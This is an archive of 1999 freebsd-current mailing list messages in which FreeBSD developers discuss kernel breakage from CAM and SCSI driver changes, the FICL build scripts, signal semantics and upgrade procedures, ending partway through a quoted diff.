MIME-Version: 1.0
To: Warner Losh <imp@village.org>
Cc: Joe Abley <jabley@patho.gen.nz>, Mark Murray <mark@grondar.za>,
	dcs@FreeBSD.ORG, current@FreeBSD.ORG, Mike Smith <mike@smith.net.au>
Subject: Re: FICL breakage...
References: <37F20376.64A46CEA@newsguy.com>  <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz> <199909292217.QAA06450@harmony.village.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Warner Losh wrote:
> 
> In message <37F20376.64A46CEA@newsguy.com> "Daniel C. Sobral" writes:
> : OTOH, if we are still perl-safe, I could send you the newer perl
> : script, so you can adapt from that.
> 
> FWIW, one mus have perl installed to build a kernel.

Yeah, but one must have world installed to build a kernel. Having
perl as part of TOOLS is the thing that sucks.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it done unto yours


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 22:34:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 2DA5C14C3F
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 22:34:25 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA46551;
	Fri, 1 Oct 1999 23:34:23 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA19839; Fri, 1 Oct 1999 23:34:49 -0600 (MDT)
Message-Id: <199910020534.XAA19839@harmony.village.org>
To: "Daniel C. Sobral" <dcs@newsguy.com>
Subject: Re: Loss of Functionality with newpnp 
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	"Jordan K. Hubbard" <jkh@zippy.cdrom.com>, dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
In-reply-to: Your message of "Sat, 02 Oct 1999 13:15:07 +0900."
		<37F586CB.EBFC8D26@newsguy.com> 
References: <37F586CB.EBFC8D26@newsguy.com>  <37F1BA64.29B5251C@newsguy.com> <199909271853.LAA12927@gndrsh.dnsmgr.net> <199909292216.QAA06430@harmony.village.org> 
Date: Fri, 01 Oct 1999 23:34:49 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <37F586CB.EBFC8D26@newsguy.com> "Daniel C. Sobral" writes:
: I don't know, I have never used the aic driver before. It would seem
: that aic users were not that unhappy with the driver.

I tried getting it to work on 5 different occasions on one of 8
different cards. 0 for 8.  I didn't try the pcmcia attachment.  It
worked OK under low low, but hung the system typically under a
moderate load (say fsck).

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 23:30:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id D893A14F27
	for <current@freebsd.org>; Fri,  1 Oct 1999 23:30:21 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id IAA16746;
	Sat, 2 Oct 1999 08:27:07 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Peter Wemm <peter@netplex.com.au>
Cc: current@freebsd.org
Subject: Re: BEWARE: CAM changes broke AHC! 
In-reply-to: Your message of "Sat, 02 Oct 1999 06:03:48 +0800."
             <19991001220348.A90A71CA7@overcee.netplex.com.au> 
Date: Sat, 02 Oct 1999 08:27:07 +0200
Message-ID: <16744.938845627@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <19991001220348.A90A71CA7@overcee.netplex.com.au>, Peter Wemm writes
:
>If you boot with a -current kernel:
>
>(da0:ahc0:0:0:0) data overrun detected in Data-In phase. Tag = 0x8
>(da0:ahc0:0:0:0) Have seen Data Phase.  Length = 0, NumSGs = 1
>
>Backing out the following sys/cam/scsi change set:
>
>revision 1.39
>date: 1999/10/01 09:34:09;  author: phk;  state: Exp;  lines: +47 -117
>Introduce the disk mini-layer and devstat_end_transaction_buf() in cam/scsi.
>
>..and the other files touched at the same time revived it and made the
>system bootable again.
>
>I am particularly suspicious about this:
>
>@@ -284,26 +283,14 @@
>                return (error); /* error code from tsleep */
>        }
> 
>-       if ((softc->flags & DA_FLAG_OPEN) == 0) {
>-               if (cam_periph_acquire(periph) != CAM_REQ_CMP)
>-                       return(ENXIO);
>-               softc->flags |= DA_FLAG_OPEN;
>-       }
>+       if (cam_periph_acquire(periph) != CAM_REQ_CMP)
>+               return(ENXIO);
>+       softc->flags |= DA_FLAG_OPEN;
>
>At first glance, it would appear it's re-inquiring on each open instead of
the first open, including while it's mounted. I wasn't sure, so rather than
>risk disks, I backed the lot out and it worked again.

Open is only called once on first open, so this isn't it.

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  1:20:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38])
	by hub.freebsd.org (Postfix) with ESMTP id A3CE214ECE
	for <current@freebsd.org>; Sat,  2 Oct 1999 01:19:56 -0700 (PDT)
	(envelope-from obrien@NUXI.com)
Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25])
	by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id BAA62375;
	Sat, 2 Oct 1999 01:19:56 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.9.3/8.9.1) id BAA85897;
	Sat, 2 Oct 1999 01:19:55 -0700 (PDT)
	(envelope-from obrien)
Date: Sat, 2 Oct 1999 01:19:55 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: John Polstra <jdp@polstra.com>
Cc: Alan Cox <alc@cs.rice.edu>, current@freebsd.org
Subject: Re: Now that sigcontext is gone ...
Message-ID: <19991002011955.A85828@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <19990930162834.C20978@nonpc.cs.rice.edu> <XFMail.990930144341.jdp@polstra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre1i
In-Reply-To: <XFMail.990930144341.jdp@polstra.com>
X-Operating-System: FreeBSD 4.0-CURRENT
Organization: The NUXI BSD group
X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Keyid: 34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > P.S.  This also reminds me that FreeBSD is non-standard relative
> > to Linux and all of the major vender commercial Unices in that a disallowed
> > access, such as a write to a read-only region of memory, generates
> > a SIGBUS rather than a SIGSEGV.
> 
> Yes, this even violates the 1996 POSIX spec.

So lets make the change for 4.0. :-)

Just how much code will break?

-- 
-- David    (obrien@NUXI.com)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  2:51:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 3255B14F71
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 02:51:00 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p23-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.120])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id SAA16365;
	Sat, 2 Oct 1999 18:50:40 +0900 (JST)
Message-ID: <37F5C9F5.6A2BA9AA@newsguy.com>
Date: Sat, 02 Oct 1999 18:01:41 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Marcel Moolenaar <marcel@scc.nl>
Cc: Daniel Eischen <eischen@vigrid.com>, des@flood.ping.uio.no,
	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199910011936.PAA11014@pcnet1.pcnet.com> <37F52173.8F4B6FF8@scc.nl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:
> 
> > But this still doesn't entirely solve the problem.  You still have
> > to build and install a new kernel before installing the world.
> > While this is typically what most -current folks do anyways, it
> > still prevents backing up to a previous kernel after the install
> > world.
> 
> You can easily install a kernel as part of the upgrade process. A
> complete upgrade would be something like:
> 
> 1. Verify and/or install cross-compilation tools
> 2. Build world
> 3. Build kernel
> 4. Copy tools that are used by the install process
> 5. install kernel
> 6. install world
> 7. reboot
> 
> If you install a kernel before installing world, you can easily recover
> when the install world fails: reboot. The new kernel is capable of
> running those binaries that got installed before the breakage.

You missed the point. This is -current, right? You do all of the
above, and then reboot and find out that the new kernel doesn't
work. What do you do? The default procedure is to boot kernel.old.

> > This is why I kind of like (was it?) Peter Wemms libc hack.
> 
> It's a solution that may work out very well, yes. But it seems to me
> that cross-compilation is on everybodies wishlist for as long as FreeBSD
> exists (well almost :-) That's why I'm pressing it. This doesn't rule
> out interim solutions of course. Real cross-compilation may not be worth
> the effort/problems, but you can't really tell if you haven't tried
> it...

>From where I stand, it doesn't seem that cross-compilation will
solve the problem of world needing to be built before kernel (and
that includes installworld).

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it done unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  3:27:11 1999
Delivered-To: freebsd-current@freebsd.org
Received: from indyio.rz.uni-sb.de (indyio.rz.uni-sb.de [134.96.7.3])
	by hub.freebsd.org (Postfix) with ESMTP id 649021510C
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 03:27:05 -0700 (PDT)
	(envelope-from netchild@Vodix.CS.Uni-SB.de)
Received: from mars.rz.uni-sb.de (ns0.rz.uni-sb.de [134.96.7.5])
	by indyio.rz.uni-sb.de (8.9.3/8.9.3) with ESMTP id MAA5452733;
	Sat, 2 Oct 1999 12:26:52 +0200 (CST)
Received: from work.net.local (maxtnt-139.telip.uni-sb.de [134.96.71.10])
	by mars.rz.uni-sb.de (8.8.8/8.8.4/8.8.2) with ESMTP id MAA21083;
	Sat, 2 Oct 1999 12:26:49 +0200 (CST)
Received: from Vodix.CS.Uni-SB.de (netchild@localhost.net.local [127.0.0.1])
	by work.net.local (8.9.3/8.9.3) with ESMTP id LAA01186;
	Sat, 2 Oct 1999 11:39:25 +0200 (CEST)
	(envelope-from netchild@Vodix.CS.Uni-SB.de)
Message-Id: <199910020939.LAA01186@work.net.local>
Date: Sat, 2 Oct 1999 11:39:24 +0200 (CEST)
From: A.Leidinger@WJPServer.CS.Uni-SB.de
Subject: Re: ahc failure while updating from pre-signal-change
To: Poul-Henning Kamp <phk@critter.freebsd.dk>
Cc: current@FreeBSD.ORG
In-Reply-To: <12273.938806551@critter.freebsd.dk>
MIME-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On  1 Okt, Poul-Henning Kamp wrote:
> 
> Please boot your old system and email the output from
> 	fdisk da0
> 	disklabel da0

If it matters: It's a dangerous dedicated disk.

(72) netchild@ttyp0 > fdisk da0
******* Working on device /dev/rda0 *******
parameters extracted from in-core disklabel are:
cylinders=659 heads=202 sectors/track=63 (12726 blks/cyl)

parameters to be used for BIOS calculations are:
cylinders=659 heads=202 sectors/track=63 (12726 blks/cyl)

Media sector size is 512
Warning: BIOS sector numbering starts with sector 1
Information from DOS bootblock is:
The data for partition 1 is:
sysid 165,(FreeBSD/NetBSD/386BSD)
    start 0, size 8398656 (4100 Meg), flag 80 (active)
        beg: cyl 0/ sector 1/ head 0;
        end: cyl 522/ sector 63/ head 201
The data for partition 2 is:
<UNUSED>
The data for partition 3 is:
<UNUSED>
The data for partition 4 is:
<UNUSED>

(73) netchild@ttyp0 > disklabel da0
# /dev/rda0c:
type: SCSI
disk: da0s1
label: 
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 255
sectors/cylinder: 16065
cylinders: 522
sectors/unit: 8398656
rpm: 3600
interleave: 1
trackskew: 0
cylinderskew: 0
headswitch: 0           # milliseconds
track-to-track seek: 0  # milliseconds
drivedata: 0 

8 partitions:
#        size   offset    fstype   [fsize bsize bps/cpg]
  a:    65536        0    4.2BSD     1024  8192    16   # (Cyl.    0 - 4*)
  b:   272928    65536      swap                        # (Cyl.    4*- 21*)
  c:  8398656        0    unused        0     0         # (Cyl.    0 - 522*)
  e:   524288   338464    4.2BSD     1024  8192    16   # (Cyl.   21*- 53*)
  f:  3145728   862752    4.2BSD     1024  8192    16   # (Cyl.   53*- 249*)
  g:  1048576  4008480    4.2BSD     1024  8192    16   # (Cyl.  249*- 314*)
  h:  3341600  5057056    4.2BSD     1024  8192    16   # (Cyl.  314*- 522*)


BTW: are "rpm", "interleave", ... used (to improve performance) by the
OS?

Bye,
Alexander.

-- 
                Back off! You're standing in my aura.

http://netchild.home.pages.de   A.Leidinger+Home @ WJPServer.CS.Uni-SB.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  3:44:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 97D8C1518D
	for <current@freebsd.org>; Sat,  2 Oct 1999 03:43:55 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11XMfF-000DHk-00; Sat, 2 Oct 1999 10:45:18 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id MAA56647;
	Sat, 2 Oct 1999 12:43:47 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F5E1E3.829CE59F@scc.nl>
Date: Sat, 02 Oct 1999 12:43:47 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: Daniel Eischen <eischen@vigrid.com>, des@flood.ping.uio.no,
	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199910011936.PAA11014@pcnet1.pcnet.com> <37F52173.8F4B6FF8@scc.nl> <37F5C9F5.6A2BA9AA@newsguy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Daniel C. Sobral" wrote:
> 
> Marcel Moolenaar wrote:
> >
> > You can easily install a kernel as part of the upgrade process. A
> > complete upgrade would be something like:
> >
> > 1. Verify and/or install cross-compilation tools
> > 2. Build world
> > 3. Build kernel
> > 4. Copy tools that are used by the install process
> > 5. install kernel
> > 6. install world
> > 7. reboot
> >
> > If you install a kernel before installing world, you can easily recover
> > when the install world fails: reboot. The new kernel is capable of
> > running those binaries that got installed before the breakage.
> 
> You missed the point. This is -current, right? You do all of the
> above, and then reboot and find out that the new kernel doesn't
> work. What do you do? The default procedure is to boot kernel.old.

You're right. This isn't the right list to discuss this. We're talking
about upgrades, not tracking the bleeding edge.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:17:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121])
	by hub.freebsd.org (Postfix) with ESMTP
	id 35EA914E79; Sat,  2 Oct 1999 04:17:22 -0700 (PDT)
	(envelope-from narvi@haldjas.folklore.ee)
Received: from localhost (narvi@localhost)
	by haldjas.folklore.ee (8.9.3/8.9.3) with SMTP id OAA32252;
	Sat, 2 Oct 1999 14:17:20 +0300 (EEST)
	(envelope-from narvi@haldjas.folklore.ee)
Date: Sat, 2 Oct 1999 14:17:20 +0300 (EEST)
From: Narvi <narvi@haldjas.folklore.ee>
To: "David O'Brien" <obrien@FreeBSD.ORG>
Cc: John Polstra <jdp@polstra.com>, Alan Cox <alc@cs.rice.edu>,
	current@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <19991002011955.A85828@dragon.nuxi.com>
Message-ID: <Pine.BSF.3.96.991002141522.86170C-100000@haldjas.folklore.ee>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


On Sat, 2 Oct 1999, David O'Brien wrote:

> > > P.S.  This also reminds me that FreeBSD is non-standard relative
> > > to Linux and all of the major vender commercial Unices in that a disallowed
> > > access, such as a write to a read-only region of memory, generates
> > > a SIGBUS rather than a SIGSEGV.
> > 
> > Yes, this even violates the 1996 POSIX spec.
> 
> So lets make the change for 4.0. :-)
> 
> Just how much code will break?
> 

All that has been changed during porting to catch the other signal?

And what will we be issuing sigbus for?

> -- 
> -- David    (obrien@NUXI.com)
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:19:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 4CC331514F
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 04:19:23 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id NAA17659;
	Sat, 2 Oct 1999 13:19:12 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: A.Leidinger@WJPServer.CS.Uni-SB.de
Cc: current@FreeBSD.ORG
Subject: Re: ahc failure while updating from pre-signal-change 
In-reply-to: Your message of "Sat, 02 Oct 1999 11:39:24 +0200."
             <199910020939.LAA01186@work.net.local> 
Date: Sat, 02 Oct 1999 13:19:12 +0200
Message-ID: <17657.938863152@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Ok, I've committed what I belive is a fix for the problem.  It was not
the locking as Bruce suggested, although his suggestion still has a point,
it was si_iosize_max which was uninitialized, which confuses minphys
and subsequently various other stuff.

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:45:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from tardis.patho.gen.nz (tardis.patho.gen.nz [203.97.2.226])
	by hub.freebsd.org (Postfix) with ESMTP
	id 21AF8151D5; Sat,  2 Oct 1999 04:44:52 -0700 (PDT)
	(envelope-from jabley@tardis.patho.gen.nz)
Received: (from jabley@localhost)
	by tardis.patho.gen.nz (8.9.3/8.9.3) id XAA32211;
	Sat, 2 Oct 1999 23:44:35 +1200 (NZST)
Date: Sat, 2 Oct 1999 23:44:35 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: Mark Murray <mark@grondar.za>
Cc: dcs@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: FICL breakage...
Message-ID: <19991002234434.A13467@patho.gen.nz>
References: <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5i
In-Reply-To: <19990929230549.F10020@patho.gen.nz>; from Joe Abley on Wed, Sep 29, 1999 at 11:05:49PM +1200
X-Files: the Truth is Out There
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 11:05:49PM +1200, Joe Abley wrote:
> On Wed, Sep 29, 1999 at 12:02:09PM +0200, Mark Murray wrote:
> > There is breakage in the new FICL. This fixes it...
> > 
> > [awk diff]
> 
> I remember a long time ago someone asked me to make some modifications
> to softcore.awk to compress the textual ficl keywords by eliminating
> double-spaces and newlines, and that kind of thing.

Modifications have been made; patch in kern/14087. It produces
identical output to the new softcore.pl for my test case of

  cat sys/boot/ficl/softwords/*.fr

People (more) familiar with ficl syntax might like to craft some
awkward constructs and check that I'm handling them legally.

Note that the script contains one gawk-ism (use of strftime() to
include a cosmetic "last update" comment in the generated
softcore.c). In my opinion, this should be eliminated -- it seems
like a needless GNUism to me.

gawk(1) says that the use of the character class [[:space:]] is
consistent with POSIX 1003.2 (and I have no reason to disbelieve
it). However, [[:space:]] also seems to be frequently misunderstood
by other common awks, so it might also be considered a candidate for
removal in the interests of portability. The alternative is a bit
messier, though, and not necessarily portable across different
locales.


Joe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:45:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gw-nl4.philips.com (gw-nl4.philips.com [192.68.44.36])
	by hub.freebsd.org (Postfix) with ESMTP id 00A72151DB
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 04:45:06 -0700 (PDT)
	(envelope-from Jos.Backus@nl.origin-it.com)
Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id NAA18208
          for <freebsd-current@FreeBSD.ORG>; Sat, 2 Oct 1999 13:45:05 +0200 (MEST)
          (envelope-from Jos.Backus@nl.origin-it.com)
Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl4.philips.com via mwrap (4.0a)
	id xma018206; Sat, 2 Oct 99 13:45:05 +0200
Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with SMTP id NAA17989
	for <freebsd-current@FreeBSD.ORG>; Sat, 2 Oct 1999 13:45:05 +0200 (MET DST)
Received: (qmail 56648 invoked by uid 666); 2 Oct 1999 11:45:26 -0000
Date: Sat, 2 Oct 1999 13:45:26 +0200
From: Jos Backus <Jos.Backus@nl.origin-it.com>
To: freebsd-current@FreeBSD.ORG
Subject: Re: CVSup core dumps
Message-ID: <19991002134526.A56355@hal.mpn.cp.philips.com>
Reply-To: Jos Backus <Jos.Backus@nl.origin-it.com>
References: <199910012137.PAA04480@shambhala.cgd.ucar.edu> <19991001175714.E637@holly.calldei.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre2i
In-Reply-To: <19991001175714.E637@holly.calldei.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999 at 05:57:14PM -0500, Chris Costello wrote:
>    Try ``gdb cvsup cvsup.core''

jos:/tmp# file cvsup.core
cvsup.core: lif file
jos:/tmp# gdb /usr/local/bin/cvsup cvsup.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...

"/usr/local/bin/cvsup": not in executable format: File format not recognized


"/tmp/cvsup.core" is not a core dump: File format not recognized
(gdb) q

The GUI version runs fine under truss tho. And the non-GUI version runs fine
too, no truss'ing needed.

-- 
Jos Backus                          _/ _/_/_/  "Reliability means never
                                   _/ _/   _/   having to say you're sorry."
                                  _/ _/_/_/             -- D. J. Bernstein
                             _/  _/ _/    _/
Jos.Backus@nl.origin-it.com  _/_/  _/_/_/      use Std::Disclaimer;


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:46:56 1999
Delivered-To: freebsd-current@freebsd.org
Received: from bsd1.gccs.com.au (gw-telstra.gccs.com.au [203.17.152.1])
	by hub.freebsd.org (Postfix) with ESMTP id 534ED14BC4
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 04:46:20 -0700 (PDT)
	(envelope-from starr3@gccs.com.au)
Received: from LB50X (LB50X.gccs.com.au [203.17.152.10])
	by bsd1.gccs.com.au (8.9.1/8.9.1) with SMTP id VAA69267
	for <current@FreeBSD.ORG>; Sat, 2 Oct 1999 21:46:14 +1000 (EST)
Message-ID: <000f01bf0ccb$aa160f10$0a9811cb@gccs.com.au>
From: "Harry Starr" <starr3@gccs.com.au>
To: <current@FreeBSD.ORG>
References: <16744.938845627@critter.freebsd.dk>
Subject: Re: BEWARE: CAM changes broke AHC! 
Date: Sat, 2 Oct 1999 21:45:44 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2918.2701
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2918.2701
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I, too, am having problems with the CAM code; but my SCSI drive(s) are NOT
boot drives!

Attempting ANY transfer on the drive evokes this response:
Oct  2 21:34:29 bsd300 /kernel: (da0:ncr0:0:3:0): extraneous data discarded.
Oct  2 21:34:29 bsd300 /kernel: (da0:ncr0:0:3:0): COMMAND FAILED (9 0)
@0xc0b3e600.
Oct  2 21:34:31 bsd300 /kernel: (da0:ncr0:0:3:0): extraneous data discarded.
Oct  2 21:34:31 bsd300 /kernel: (da0:ncr0:0:3:0): COMMAND FAILED (9 0)
@0xc0b3e600.

Reverting to an "older" kernel works fine; so I don't think it is hardware.

The applicable dmesg output:
Oct  2 21:32:59 bsd300 /kernel: FreeBSD 4.0-CURRENT #0: Sat Oct  2 14:29:38
EST 1999
Oct  2 21:32:59 bsd300 /kernel: ncr0: <ncr 53c810a fast10 scsi> irq 10 at
device 11.0 on pci0

Oct  2 21:32:59 bsd300 /kernel: da0 at ncr0 bus 0 target 3 lun 0
Oct  2 21:32:59 bsd300 /kernel: da0: <CONNER CFP4207S  4.28GB 1524> Fixed
Direct Access SCSI-2 device
Oct  2 21:32:59 bsd300 /kernel: da0: 10.000MB/s transfers (10.000MHz, offset
8)
Oct  2 21:32:59 bsd300 /kernel: da0: 4096MB (8388608 512 byte sectors: 255H
63S/
T 522C)

----- Original Message -----
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
To: Peter Wemm <peter@netplex.com.au>
Cc: <current@FreeBSD.ORG>
Sent: Saturday, October 02, 1999 4:27 PM
Subject: Re: BEWARE: CAM changes broke AHC!


> In message <19991001220348.A90A71CA7@overcee.netplex.com.au>, Peter Wemm
writes
> :
> >If you boot with a -current kernel:
> >
> >(da0:ahc0:0:0:0) data overrun detected in Data-In phase. Tag = 0x8
> >(da0:ahc0:0:0:0) Have seen Data Phase.  Length = 0, NumSGs = 1
> >
> >Backing out the following sys/cam/scsi change set:
> >
> >revision 1.39
> >date: 1999/10/01 09:34:09;  author: phk;  state: Exp;  lines: +47 -117
> >Introduce the disk mini-layer and devstat_end_transaction_buf() in
cam/scsi.
> >
> >..and the other files touched at the same time revived it and made the
> >system bootable again.
> >
> >I am particularly suspicious about this:
> >
> >@@ -284,26 +283,14 @@
> >                return (error); /* error code from tsleep */
> >        }
> >
> >-       if ((softc->flags & DA_FLAG_OPEN) == 0) {
> >-               if (cam_periph_acquire(periph) != CAM_REQ_CMP)
> >-                       return(ENXIO);
> >-               softc->flags |= DA_FLAG_OPEN;
> >-       }
> >+       if (cam_periph_acquire(periph) != CAM_REQ_CMP)
